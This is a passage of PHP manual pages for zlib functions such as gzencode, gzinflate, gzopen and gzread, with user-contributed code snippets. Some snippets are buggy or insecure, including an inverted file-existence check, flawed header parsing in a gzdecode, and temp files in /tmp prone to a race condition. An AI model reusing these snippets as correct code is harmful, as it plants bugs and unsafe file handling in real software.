The resulting data contains the appropriate headers and data structure to make a standard .gz file, e.g.:

Example #1 Creating a gzip file

<?php
$data = implode("", file("bigfile.txt"));
$gzdata = gzencode($data, 9);
$fp = fopen("bigfile.txt.gz", "w");
fwrite($fp, $gzdata);
fclose($fp);
?>

See Also

  • gzdecode() - Decodes a gzip compressed string
  • gzdeflate() - Deflate a string
  • gzinflate() - Inflate a deflated string
  • gzuncompress() - Uncompress a compressed string
  • gzcompress() - Compress a string

User Contributed Notes

geompse at gmail dot com 22-Aug-2011 03:24
Had some trouble finding the correct way to send a Content-Length header with HTTP compression.
The pitch is to use gzencode (not gzdeflaten not gzcompress).

<?php

// disable ZLIB ouput compression
ini_set('zlib.output_compression','Off');

// compress data
$gzipoutput = gzencode($output,6);

// various headers, those with # are mandatory
header('Content-Type: application/x-download');
header('Content-Encoding: gzip'); #
header('Content-Length: '.strlen($gzipoutput)); #
header('Content-Disposition: attachment; filename="myfile.name"');
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Pragma: no-cache');

// output data
echo $gzipoutput;

?>
Sam Dowling 06-Jul-2011 07:30
this is a benchmark test of gzencode (.txt file)
----------------------------------------------
original file size = 3.29 MB (3,459,978 bytes)
compress lvl 1 = 1.09 MB (1,144,006 bytes)
compress lvl 2 = 1.06 MB (1,119,518 bytes)
compress lvl 3 = 1.03 MB (1,085,567 bytes)
compress lvl 4 = 953 KB (976,538 bytes)
compress lvl 5 = 909 KB (931,486 bytes)
compress lvl 6 = 910 KB (932,516 bytes)
compress lvl 7 = 910 KB (932,608 bytes)
compress lvl 8 = 910 KB (932,646 bytes)
compress lvl 9 = 910 KB (932,652 bytes)
----------------------------------------------
getmequick at dot com 23-Jan-2009 12:29
NOTE:

doing like this and so on

<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>

(complete file reading)

may cause memory overflow (Fatal error: Allowed memory size of ..), so it's better to read by parts/bytes.
katzlbtjunk at hotmail dot com 30-Apr-2008 01:58
Aaron G. 07-Aug-2004 03:29 posted the excellent function gzdecode() (SEE BELOW)
BUGFIX: Change: if($flags & 1) to ... if($flags & 2)

Unfortunately the function gzencode() does NOT append a CRC! So the previous version worked with output of gzencode but not with output of the gzip program itself.
gazj at nukemodified dot com 14-Apr-2008 05:47
here is my clean up of supaplex %at% pcbkits %d0t% c0m
submission above.

function alt_gzdecode($gzdatadecode) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";
  if(file_exists($eh)){

  $gzf=fopen($eh,"w");
  fwrite($gzf,$gzdatadecode);
  fclose($gzf);

  $gzf = gzopen ($eh, "r");
  $gzdatadecode=gzpassthru($gzf);
  unlink($eh);

  return $gzdatadecode;
  }else{
  return 'File '.$eh.' was not found.';
  }
}
cbrunon at free dot fr 03-Aug-2006 06:52
Correct is:
<?php
  file_put_contents('output.gz', gzencode( file_get_contents('input.file'),9));
?>
Aaron G. 06-Aug-2004 06:29
<?php

function gzdecode($data) {
  $len = strlen($data);
  if ($len < 18 || strcmp(substr($data,0,2),"\x1f\x8b")) {
    return null;  // Not GZIP format (See RFC 1952)
  }
  $method = ord(substr($data,2,1));  // Compression method
  $flags  = ord(substr($data,3,1));  // Flags
  if ($flags & 31 != $flags) {
    // Reserved bits are set -- NOT ALLOWED by RFC 1952
    return null;
  }
  // NOTE: $mtime may be negative (PHP integer limitations)
  $mtime = unpack("V", substr($data,4,4));
  $mtime = $mtime[1];
  $xfl   = substr($data,8,1);
  $os    = substr($data,8,1);
  $headerlen = 10;
  $extralen  = 0;
  $extra     = "";
  if ($flags & 4) {
    // 2-byte length prefixed EXTRA data in header
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $extralen = unpack("v",substr($data,8,2));
    $extralen = $extralen[1];
    if ($len - $headerlen - 2 - $extralen < 8) {
      return false;    // Invalid format
    }
    $extra = substr($data,10,$extralen);
    $headerlen += 2 + $extralen;
  }

  $filenamelen = 0;
  $filename = "";
  if ($flags & 8) {
    // C-style string file NAME data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $filenamelen = strpos(substr($data,8+$extralen),chr(0));
    if ($filenamelen === false || $len - $headerlen - $filenamelen - 1 < 8) {
      return false;    // Invalid format
    }
    $filename = substr($data,$headerlen,$filenamelen);
    $headerlen += $filenamelen + 1;
  }

  $commentlen = 0;
  $comment = "";
  if ($flags & 16) {
    // C-style string COMMENT data in header
    if ($len - $headerlen - 1 < 8) {
      return false;    // Invalid format
    }
    $commentlen = strpos(substr($data,8+$extralen+$filenamelen),chr(0));
    if ($commentlen === false || $len - $headerlen - $commentlen - 1 < 8) {
      return false;    // Invalid header format
    }
    $comment = substr($data,$headerlen,$commentlen);
    $headerlen += $commentlen + 1;
  }

  $headercrc = "";
  if ($flags & 1) {
    // 2-bytes (lowest order) of CRC32 on header present
    if ($len - $headerlen - 2 < 8) {
      return false;    // Invalid format
    }
    $calccrc = crc32(substr($data,0,$headerlen)) & 0xffff;
    $headercrc = unpack("v", substr($data,$headerlen,2));
    $headercrc = $headercrc[1];
    if ($headercrc != $calccrc) {
      return false;    // Bad header CRC
    }
    $headerlen += 2;
  }

  // GZIP FOOTER - These be negative due to PHP's limitations
  $datacrc = unpack("V",substr($data,-8,4));
  $datacrc = $datacrc[1];
  $isize = unpack("V",substr($data,-4));
  $isize = $isize[1];

  // Perform the decompression:
  $bodylen = $len-$headerlen-8;
  if ($bodylen < 1) {
    // This should never happen - IMPLEMENTATION BUG!
    return null;
  }
  $body = substr($data,$headerlen,$bodylen);
  $data = "";
  if ($bodylen > 0) {
    switch ($method) {
      case 8:
        // Currently the only supported compression method:
        $data = gzinflate($body);
        break;
      default:
        // Unknown compression method
        return false;
    }
  } else {
    // I'm not sure if zero-byte body content is allowed.
    // Allow it for now...  Do nothing...
  }

  // Verifiy decompressed size and CRC32:
  // NOTE: This may fail with large data sizes depending on how
  //       PHP's integer limitations affect strlen() since $isize
  //       may be negative for large sizes.
  if ($isize != strlen($data) || crc32($data) != $datacrc) {
    // Bad format!  Length or CRC doesn't match!
    return false;
  }
  return $data;
}

?>
tychay at alumni dot caltech dot edu 03-Apr-2002 02:53
The 10 byte string in gzencode is the standard gzip header. The first two bytes (1f 8b) define the return as a gzip file, the third byte (08) means that the body is compressed using the "deflate" algorithm. The rest is padding (00)'s.

Technically, I believe one should check if the third byte is hex 08 and if so strip off the first ten bytes and last four bytes and run inflate on it. The last four bytes are file size and checksum bits.

In practice, you can get away with just stripping the first 10 bytes and running inflate on it.

Hope this helps,

terry
henryk at ploetzli dot ch 14-Feb-2002 06:28
Well, I was looking for a gzdecode too and didn't consider the temporary file example above to be very elegant.
However, as is noted in the very first comment: gzencode() only adds a  10 byte header.

I don't quite know what this header is supposed to be used for, but gzinflate() certainly doesn't like it, so I stripped it off:

function my_gzdecode($string) {
  $string = substr($string, 10);
  return gzinflate($string);
 }

That's useful to read HTTP-Connections that were compressed by mod_gzip.
--
Henryk Plötz
Grüße aus Berlin
mm.. oops? - amendum (yes, tested hehe.) 09-Sep-2001 12:14
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  unset($str);

  $fd = gzopen ($eh, "r");
  while (1==1) {
    $s=gzread($fd,10240);
    if ("$s" == "") {
      break;
    }
    $str=$str . $s;
  }
  unlink($eh);

  return $str;
}
< supaplex %at% pcbkits %d0t% c0m > 08-Sep-2001 11:48
I was almost discouraged when I didn't find a gzdecode() function!  However, fear not, for I'll contribute my work... :)
function alt_gzdecode($str) {
  // seed with microseconds since last "whole" second.
  mt_srand((float)microtime()*1000000);
  $eh="/tmp/php-" . md5(mt_rand(0,mt_getrandmax())) . ".gz";

  $fd=fopen($eh,"w");
  fwrite($fd,$str);
  fclose($fd);

  $fd = gzopen ($eh, "r");
  $str=gzpassthru($fd);
  unlink($eh);

  return $str;
}

It's only ugly point is that it does not check to see if the file already exists.  You may also have to adjust reference names like $str and $fd if they stomp on your code. (Sorry, but this is all you get atm! ;} )  If your conserned about a race condition, cry for a internal gzdecode() function that actualy functions...
I spent about 3 hours straight debugging this problem.  I know the input data was valid, becuase I validated it with MD5() to compare to the md5's I had made of the input data before hand.  I'm not sure whats up with gzuncompress or gzinflate, but this works in its place . . .

Enjoy!
gzdeflate
gzeof
Zlib Functions


Test for EOF on a gz-file pointer

gzencode
gzfile
Zlib Functions
PHP Manual

gzeof

(PHP 4, PHP 5)

gzeof — Test for EOF on a gz-file pointer

Description

int gzeof ( resource $zp )

Tests the given GZ file pointer for EOF.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

Returns TRUE if the gz-file pointer is at EOF or an error occurs; otherwise returns FALSE.

Examples

Example #1 gzeof() example

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>

User Contributed Notes

thomas at poindessous dot com 21-Jun-2007 01:44
Be careful with this example. if gzopen doesn't return a valid handler, gzeof will do a nice loop.
gzencode
gzfile
Zlib Functions


Read entire gz-file into an array

gzeof
gzgetc
Zlib Functions
PHP Manual

gzfile

(PHP 4, PHP 5)

gzfile — Read entire gz-file into an array

Description

array gzfile ( string $filename [, int $use_include_path = 0 ] )

This function is identical to readgzfile(), except that it returns the file in an array.

Parameters

filename

The file name.

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

Return Values

An array containing the file, one line per cell.

Examples

Example #1 gzfile() example

<?php
$lines = gzfile('somefile.gz');
foreach ($lines as $line) {
    echo $line;
}
?>

See Also

  • readgzfile() - Output a gz-file
  • gzopen() - Open gz-file

User Contributed Notes

jani at php dot net 21-Nov-2008 10:11
This function is not binary safe. (intentionally, or not, that's the question :)
nb_nonospamm_ at wtal dot de 27-Nov-2005 04:12
In PHP4.4.1 I noticed that gzfile only reads up to 8190 bytes per line. I had a 20K SQL query that was cut into 3 parts - and wondered why the SQL server complained.

Reading an uncompressed file with the file() command works as expected.
The Jedi 28-Jun-2005 06:44
A quicker way to load a gziped file in a string :
<?php
function gzfile_get_contents($filename, $use_include_path = 0)
{
    //File does not exist
    if( !@file_exists($filename) )
    {    return false;    }

    //Read and imploding the array to produce a one line string
   $data = gzfile($filename, $use_include_path);
   $data = implode($data);
   return $data;
}
?>
webmaster at ragnarokonline dot de 13-Jan-2004 11:58
This works similar to gzfile() but it returns the file in a string instead of an array and doesn't write it to stdout compared to readgzfile.

Note: unlike the usual file-functions filesize won't work here, since the length-parameter of gzread refers to the uncompressed length, while filesize returns the size of the compressed file.

<?php
function gzfile_get_contents($filename, $use_include_path = 0) {
    $file = @gzopen($filename, 'rb', $use_include_path);
    if ($file) {
        $data = '';
        while (!gzeof($file)) {
            $data .= gzread($file, 1024);
        }
        gzclose($file);
    }
    return $data;
}
?>
gzeof
gzgetc
Zlib Functions


Get character from gz-file pointer

gzfile
gzgets
Zlib Functions
PHP Manual

gzgetc

(PHP 4, PHP 5)

gzgetc — Get character from gz-file pointer

Description

string gzgetc ( resource $zp )

Returns a string containing a single (uncompressed) character read from the given gz-file pointer.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

The uncompressed character or FALSE on EOF (unlike gzeof()).

Examples

Example #1 gzgetc() example

<?php
$gz = gzopen('somefile.gz', 'r');
while (!gzeof($gz)) {
  echo gzgetc($gz);
}
gzclose($gz);
?>

See Also

  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer

User Contributed Notes

There are no user contributed notes for this page.
gzfile
gzgets
Zlib Functions


Get line from file pointer

gzgetc
gzgetss
Zlib Functions
PHP Manual

gzgets

(PHP 4, PHP 5)

gzgets — Get line from file pointer

Description

string gzgets ( resource $zp , int $length )

Gets a (uncompressed) string of up to length - 1 bytes read from the given file pointer. Reading ends when length - 1 bytes have been read, on a newline, or on EOF (whichever comes first).

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The length of data to get.

Return Values

The uncompressed string, or FALSE on error.

Examples

Example #1 gzgets() example

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
   $buffer = gzgets($handle, 4096);
   echo $buffer;
}
gzclose($handle);
?>

See Also

  • gzopen() - Open gz-file
  • gzgetc() - Get character from gz-file pointer
  • gzwrite() - Binary-safe gz-file write

User Contributed Notes

04-Aug-2005 11:21
For the above example by VIJAY, using gzgetc would be better, as I've encountered binary/text file incompatibilities (at least with PHP 4.0.4).
prismngp1 at yahoo dot com 10-Aug-2002 05:19
<?
// this is simple code by VIJAY to unzip .gz file
$file = "/absolute/path/to/your/file" ;
$fp = fopen("$file", "w") ;
// file to be unzipped on your server
$filename = "filename.gz" ;
$zp = gzopen($filename, "r");

if ($zp)
{
  while (!gzeof($zp))
  {
    $buff1 = gzgets ($zp, 4096) ;
    fputs($fp, $buff1) ;
  }
}
gzclose($zp) ;
fclose($fp) ;
?>
gzgetc
gzgetss
Zlib Functions


Get line from gz-file pointer and strip HTML tags

gzgets
gzinflate
Zlib Functions
PHP Manual

gzgetss

(PHP 4, PHP 5)

gzgetss — Get line from gz-file pointer and strip HTML tags

Description

string gzgetss ( resource $zp , int $length [, string $allowable_tags ] )

Identical to gzgets(), except that gzgetss() attempts to strip any HTML and PHP tags from the text it reads.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The length of data to get.

allowable_tags

You can use this optional parameter to specify tags which should not be stripped.

Return Values

The uncompressed and striped string, or FALSE on error.

Examples

Example #1 gzgetss() example

<?php
$handle = gzopen('somefile.gz', 'r');
while (!gzeof($handle)) {
   $buffer = gzgetss($handle, 4096);
   echo $buffer;
}
gzclose($handle);
?>

See Also

  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer
  • strip_tags() - Strip HTML and PHP tags from a string

User Contributed Notes

There are no user contributed notes for this page.
gzgets
gzinflate
Zlib Functions


Inflate a deflated string

gzgetss
gzopen
Zlib Functions
PHP Manual

gzinflate

(PHP 4 >= 4.0.4, PHP 5)

gzinflate — Inflate a deflated string

Description

string gzinflate ( string $data [, int $length = 0 ] )

This function inflate a deflated string.

Parameters

data

The data compressed by gzdeflate().

length

The maximum length of data to decode.

Return Values

The original uncompressed data or FALSE on error.

The function will return an error if the uncompressed data is more than 32768 times the length of the compressed input data or more than the optional parameter length.

Examples

Example #1 gzinflate() example

<?php
$compressed   = gzdeflate('Compress me', 9);
$uncompressed = gzinflate($compressed);
echo $uncompressed;
?>

See Also

  • gzdeflate() - Deflate a string
  • gzcompress() - Compress a string
  • gzuncompress() - Uncompress a compressed string
  • gzencode() - Create a gzip compressed string

User Contributed Notes

Steven Lustig 05-Nov-2010 09:44
You can use this to uncompress a string from Linux command line gzip by stripping the first 10 bytes:

<?php
$inflatedOutput = gzinflate(substr($output, 10, -8));
?>
vitall at ua dot fm 09-Sep-2009 05:10
The correct function for gzip and chunked data particularly when you get "Content-Encoding: gzip" and "Transfer-Encoding: chunked" headers:

<?php
function decode_gzip($h,$d,$rn="\r\n"){
if (isset($h['Transfer-Encoding'])){
 $lrn = strlen($rn);
 $str = '';
 $ofs=0;
 do{
    $p = strpos($d,$rn,$ofs);
    $len = hexdec(substr($d,$ofs,$p-$ofs));
    $str .= substr($d,$p+$lrn,$len);
     $ofs = $p+$lrn*2+$len;
 }while ($d[$ofs]!=='0');
 $d=$str;
}
if (isset($h['Content-Encoding'])) $d = gzinflate(substr($d,10));
return $d;
}
?>

Enjoy!
John 12-Jun-2008 10:22
And when retrieving mod_deflate gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 11 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,11)); ?>
patatraboum at free dot fr 24-Aug-2007 10:57
Some gz string strip header and return inflated
It actualy processes some first member of the gz
See rfc1952 at http://www.faqs.org/rfcs/rfc1952.html for more details and improvment as gzdecode

<?php
function gzBody($gzData){
    if(substr($gzData,0,3)=="\x1f\x8b\x08"){
        $i=10;
        $flg=ord(substr($gzData,3,1));
        if($flg>0){
            if($flg&4){
                list($xlen)=unpack('v',substr($gzData,$i,2));
                $i=$i+2+$xlen;
            }
            if($flg&8) $i=strpos($gzData,"\0",$i)+1;
            if($flg&16) $i=strpos($gzData,"\0",$i)+1;
            if($flg&2) $i=$i+2;
        }
        return gzinflate(substr($gzData,$i,-8));
    }
    else return false;
}
?>
spikeles_ at hotmail dot com 01-Nov-2006 08:12
This can be used to inflate streams compressed by the Java class java.util.zip.Deflater but you must strip the first 2 bytes off it. ( much like the above comment )

<?php $result = gzinflate(substr($compressedData, 2)); ?>
boris at gamate dot com 08-Jul-2003 05:49
When retrieving mod_gzip'ed content and using gzinflate() to decode the data, be sure to strip the first 10 chars from the retrieved content.

<?php $dec = gzinflate(substr($enc,10)); ?>
gzgetss
gzopen
Zlib Functions


Open gz-file

gzinflate
gzpassthru
Zlib Functions
PHP Manual

gzopen

(PHP 4, PHP 5)

gzopen — Open gz-file

Description

resource gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] )

Opens a gzip (.gz) file for reading or writing.

gzopen() can be used to read a file which is not in gzip format; in this case gzread() will directly read from the file without decompression.

Parameters

filename

The file name.

mode

As in fopen() (rb or wb) but can also include a compression level (wb9) or a strategy: f for filtered data as in wb6f, h for Huffman only compression as in wb1h. (See the description of deflateInit2 in zlib.h for more information about the strategy parameter.)

use_include_path

You can set this optional parameter to 1, if you want to search for the file in the include_path too.

Return Values

Returns a file pointer to the file opened, after that, everything you read from this file descriptor will be transparently decompressed and what you write gets compressed.

If the open fails, the function returns FALSE.

Examples

Example #1 gzopen() Example

<?php
$fp = gzopen("/tmp/file.gz", "r");
?>

See Also

  • gzclose() - Close an open gz-file pointer

User Contributed Notes

David Gero dave at havidave dot com 06-Sep-2011 02:02
gzopen("php://output","wb") doesn't work on a web server, nor does fopen("compress.zlib://php://output","wb").

Here is a snippet to gzip a file and output it on the fly, without using a temporary file, without reading the file into memory, and without reading the file more than once:

<?php
$fin = fopen($file, "rb");
if ($fin !== FALSE) {
    $fout = fopen("php://output", "wb");
    if ($fout !== FALSE) {
    // write gzip header
    fwrite($fout, "\x1F\x8B\x08\x08".pack("V", filemtime($file))."\0\xFF", 10);
    // write the original file name
    $oname = str_replace("\0", "", basename($file));
    fwrite($fout, $oname."\0", 1+strlen($oname));
    // add the deflate filter using default compression level
    $fltr = stream_filter_append($fout, "zlib.deflate", STREAM_FILTER_WRITE, -1);
    // set up the CRC32 hashing context
    $hctx = hash_init("crc32b");
    // turn off the time limit
    if (!ini_get("safe_mode")) set_time_limit(0);
    $con = TRUE;
    $fsize = 0;
    while (($con !== FALSE) && !feof($fin)) {
        // deflate works best with buffers >32K
        $con = fread($fin, 64 * 1024);
        if ($con !== FALSE) {
        hash_update($hctx, $con);
        $clen = strlen($con);
        $fsize += $clen;
        fwrite($fout, $con, $clen);
        }
    }
    // remove the deflate filter
    stream_filter_remove($fltr);
    // write the CRC32 value
    // hash_final is a string, not an integer
    $crc = hash_final($hctx, TRUE);
    // need to reverse the hash_final string so it's little endian
    fwrite($fout, $crc[3].$crc[2].$crc[1].$crc[0], 4);
    // write the original uncompressed file size
    fwrite($fout, pack("V", $fsize), 4);
    fclose($fout);
    }
    fclose($fin);
}
?>
plasma 05-Sep-2008 08:06
This worked unstable for me under high load (50+ files per second):

<?php
    $gz = gzopen ( $file, 'w9' );
    gzwrite ( $gz, $content );
    gzclose ( $gz );
?>

The following works fine:

<?php
    $f = fopen ( $file, 'w' );
    fwrite ( $f, gzcompress ( $content, 9 ) );
    fclose ( $f );
?>
katzlbtjunk at hotmail dot com 23-Apr-2008 12:15
WARNING gzopen and gzread have a major disadvantage. They makes NO checksum and NO length verification of the gzipped data and discard this valuable information. This should be documented here.
rob at digital-crocus dot com 01-Jun-2005 05:28
dtorop932 at hotmail dot com's comments, according to my tests, is incorrect. That code wishes to download the entire file before parsing, which is inconvinient. The wget method works though.
pentek_imre at mailbox dot hu 29-Jan-2005 10:36
Be aware that when opening a remote file on a http server the gzopen will return by default false after 120 seconds waiting to any answer.
dtorop932 at hotmail dot com 21-Oct-2004 12:04
RE dubious's comment: "Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment..."

One way to read a gzip stream over http is to daisychain stream wrappers, e.g.:

<?
$fp = fopen("compress.zlib://http://some.website.org/example.gz", "r");
?>
-delete-this-part-dubious at 2xtreme dot net 02-Jan-2002 07:22
"On the fly" gunzipping actually DOES seem to work - it just appears that only LOCAL streams/files (including php://stdin) can be accessed for some reason.  I THINK (but have not yet tested) that you could similarly gzopen "php://stdout" and pass a stream of gzipped data to the browser (when run from a web page) or console (when run standalone) through there.

I HAVE tested scripts from the command line like:

wget -q -O- ftp://some.host.net/pub/some_gzip_file.gz | php gunzip_stuff.php

where gunzip_stuff.php would be a script that gzopened "php://stdin" and did gzgets from that stream, and it seems to work fine, but that obviously doesn't help someone wanting to grab gzipped streams from remote sites from a web-based script.

Being able to read gzip streams from ftp and http is near the top of my personal wishlist at the moment...
gzinflate
gzpassthru
Zlib Functions


Output all remaining data on a gz-file pointer

gzopen
gzputs
Zlib Functions
PHP Manual

gzpassthru

(PHP 4, PHP 5)

gzpassthru — Output all remaining data on a gz-file pointer

Description

int gzpassthru ( resource $zp )

Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.

Note:

You may need to call gzrewind() to reset the file pointer to the beginning of the file if you have already written data to it.

Tip

If you just want to dump the contents of a file to the output buffer, without first modifying it or seeking to a particular offset, you may want to use the readgzfile() function, which saves you the gzopen() call.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

The number of uncompressed characters read from gz and passed through to the input, or FALSE on error.

Examples

Example #1 gzpassthru() example

<?php
$fp = gzopen('file.gz', 'r');
gzpassthru($fp);
gzclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.
gzopen
gzputs
Zlib Functions


Alias of gzwrite

gzpassthru
gzread
Zlib Functions
PHP Manual

gzputs

(PHP 4, PHP 5)

gzputs — Alias of gzwrite()

Description

This function is an alias of: gzwrite().

User Contributed Notes

There are no user contributed notes for this page.
gzpassthru
gzread
Zlib Functions


Binary-safe gz-file read

gzputs
gzrewind
Zlib Functions
PHP Manual

gzread

(PHP 4, PHP 5)

gzread — Binary-safe gz-file read

Description

string gzread ( resource $zp , int $length )

gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

length

The number of bytes to read.

Return Values

The data that have been read.

Examples

Example #1 gzread() example

<?php
// get contents of a gz-file into a string
$filename = "/usr/local/something.txt.gz";
$zd = gzopen($filename, "r");
$contents = gzread($zd, 10000);
gzclose($zd);
?>

See Also

  • gzwrite() - Binary-safe gz-file write
  • gzopen() - Open gz-file
  • gzgets() - Get line from file pointer
  • gzgetss() - Get line from gz-file pointer and strip HTML tags
  • gzfile() - Read entire gz-file into an array
  • gzpassthru() - Output all remaining data on a gz-file pointer

User Contributed Notes

calin_ip at yahoo dot com 10-Nov-2010 03:55
Regarding finding out the lenght of the gz file.
For some reason the seek() function didn't worked, so, I've tried finding out the last 4 bytes using string functions.
That worked pretty well. Here is the code.
<?php
$stringu='my_beautiful_file.txt.gz';
$gzip=file_get_contents($stringu);
$rest = substr($gzip, -4);
$GZFileSize = end(unpack("V", $rest));

$FileRead = $stringu;
$HandleRead = gzopen($FileRead, "rb");
$ContentRead = gzread($HandleRead, $GZFileSize);
gzclose($HandleRead);
?>
denis at bitrix dot ru 16-Jul-2010 09:00
Note that this functions' behavior differs from fread in case of EOF.

When you read the last chunk (mean the last bytes from file), it is EOF just after gzread, but in case of fread you need to read once more to get EOF.

Hope, I am clear :)
robinv12001 at yahoo dot co dot in 10-Jun-2009 09:21
<?php
//Extracting the content of a gzip file in php and creating a new csv file using the content
//Create a folder uploads inside current folder
$local_file    =    'test.gz';

//To Get the size of the uncompressed file
$FileRead = $local_file;
$FileOpen = fopen($FileRead, "rb");
fseek($FileOpen, -4, SEEK_END);
$buf = fread($FileOpen, 4);
$GZFileSize = end(unpack("V", $buf));
fclose($FileOpen);
//To Get the size of the zip file

$fzip_size    =    $GZFileSize;

$filename    =    $local_file;
$ext        =    pathinfo($filename,PATHINFO_EXTENSION);
$file_name    =    pathinfo($filename,PATHINFO_FILENAME);
$file_name    =    $file_name.".csv";

$zd         =     gzopen($filename, "rb");
$contents     =     gzread($zd, $fzip_size);
gzclose($zd);
$file_name    =    "uploads/".$file_name;
$fp    =    fopen($file_name, "wb");
fwrite($fp, $contents); //write contents of feed to cache file
fclose($fp);
if(file_exists($file_name))
{
    chmod($file_name,0755);
    unlink($local_file);
}
?>
robinv12001 at yahoo dot co dot in 09-Jun-2009 02:18
<?php
//Using FTP Download a gzip file on current date from a remote server
//The gzip files are extracted
function parse_rawlist( $array )
{
    $i=0;
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']      =     $current[0];
        $struc['number']     =     $current[1];
        $struc['owner']     =     $current[2];
        $struc['group']      =     $current[3];
        $struc['size']         =     $current[4];
        $struc['month']      =     $current[5];
        $struc['day']        =     $current[6];
        $struc['time']      =     $current[7];
        $struc['zfile_name']      =     $current[8];
     $structure[$i]      =     $struc;
    $i++;
    }
   return $structure;

}
ini_set('memory_limit', '100M');

//Give FTP Information Here
//------------------------------------------------------------
$ftp_server     =     "example.com";
$ftp_user_name    =    "example";
$ftp_user_pass    =    "test";
//------------------------------------------------------------
//------------------------------------------------------------
$local_path     =    '/opt/lampp/htdocs/sample/test.gz';//Local Path
$server_path     =     'outgoing/folder/';//Remote Sever Path
//------------------------------------------------------------

$conn_id = ftp_connect($ftp_server,21);
if($conn_id)
{
    echo "Successfully connected";
}

$login_result     =     ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_chdir($conn_id, $server_path);//Change Current Working Directory
$file_list     =    ftp_rawlist($conn_id,".");
$zip_details    =    parse_rawlist($file_list);
set_time_limit(1000);
$curr_date    =    strtotime(date("F d Y"));
for($i=0;$i<count($zip_details);$i++)
{
    $fname        =    $zip_details[$i]['zfile_name'];
    $mod_date1    =    $zip_details[$i]['month']." ".$zip_details[$i]['day']." ".date("Y");
    $mod_date    =    strtotime($mod_date1);//File Modified Date
    if($mod_date == $curr_date)//If modified date equals current date
    {
        $local_file    =    $fname;
        $server_file    =    $fname;
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY))
        {

            echo "<br/>Successfully written to $local_file\n";
        }
        else
        {
            echo "<br/>There was a problem\n";
        }
        if(file_exists($local_file))
        {
            $fzip_size    =    $zip_details[$i]['size'];
            $filename    =    $local_file;
            $ext        =    pathinfo($filename,PATHINFO_EXTENSION);
            $file_name    =    pathinfo($filename,PATHINFO_FILENAME);
            $file_name    =    $file_name.".csv";
            $zd         =     gzopen($filename, "r");
            $contents     =     gzread($zd, $fzip_size);
            $file_name    =    "uploads/".$file_name;
            file_put_contents($file_name,addslashes($contents));
            if(file_exists($file_name))
            {
                chmod($file_name,0755);
                unlink($local_file);
            }
            gzclose($zd);
        }
    }
}
ftp_close($conn_id);
?>
utku 08-Feb-2008 01:31
I don't think it would be wise to open a whole gzip file (it _is_ compressed for a reason, and likely to be a very big file) into a single string. You would most likely hit the php memory limits. Instead, if you need to process the file, put your gzread calls in a loop, and read incrementally by a setting $length to a constant value.
zaotong at yahoo dot com 07-Mar-2007 03:06
As was shown to me in another forum there is a way to get the uncompressed size of the gz file by viewing the last 4 bytes of the gz file.

Here is a piece of code that will do this
<?php
$FileRead = 'SomeText.txt';
$FileOpen = fopen($FileRead, "rb");
        fseek($FileOpen, -4, SEEK_END);
        $buf = fread($FileOpen, 4);
        $GZFileSize = end(unpack("V", $buf));
        fclose($FileOpen);
        $HandleRead = gzopen($FileRead, "rb");
        $ContentRead = gzread($HandleRead, $GZFileSize);
?>

This will read the last 4 bytes of the gz file and use it as the file int for the gzread.

Thanks to stereofrog for helping me with this code.
methatron at hotmail dot com 27-Sep-2006 12:33
Be aware that gzread's second parameter - length reffers to the file's uncompressed size, therefore using this code:

<?php
$file_name = "/usr/local/something.txt.gz";
if($file_handle = gzopen($file_name, "r"))
{
    $contents = gzread($file_handle, filesize($file_name));
    gzclose($file_name);
}
?>

will probably truncate the content of the file as filesize checks for the file's compressed size.
So either use the actual uncompressed size, if you know it, or use an aribtrary big enough length, as gzreading will stop at the end of the file anyway.
gzputs
gzrewind
Zlib Functions


Rewind the position of a gz-file pointer

gzread
gzseek
Zlib Functions
PHP Manual

gzrewind

(PHP 4, PHP 5)

gzrewind — Rewind the position of a gz-file pointer

Description

bool gzrewind ( resource $zp )

Sets the file position indicator of the given gz-file pointer to the beginning of the file stream.

Parameters

zp

The gz-file pointer. It must be valid, and must point to a file successfully opened by gzopen().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • gzseek() - Seek on a gz-file pointer
  • gztell() - Tell gz-file pointer read/write position

User Contributed Notes

There are no user contributed notes for this page.
gzread
gzseek
Zlib Functions


Seek on a gz-file pointer

gzrewind
gztell
Zlib Functions
PHP Manual

gzseek

(PHP 4, PHP 5)

gzseek — Seek on a gz-file pointer

Description

int gzseek ( resource $zp , int $offset [, int $whence = SEEK_SET ] )

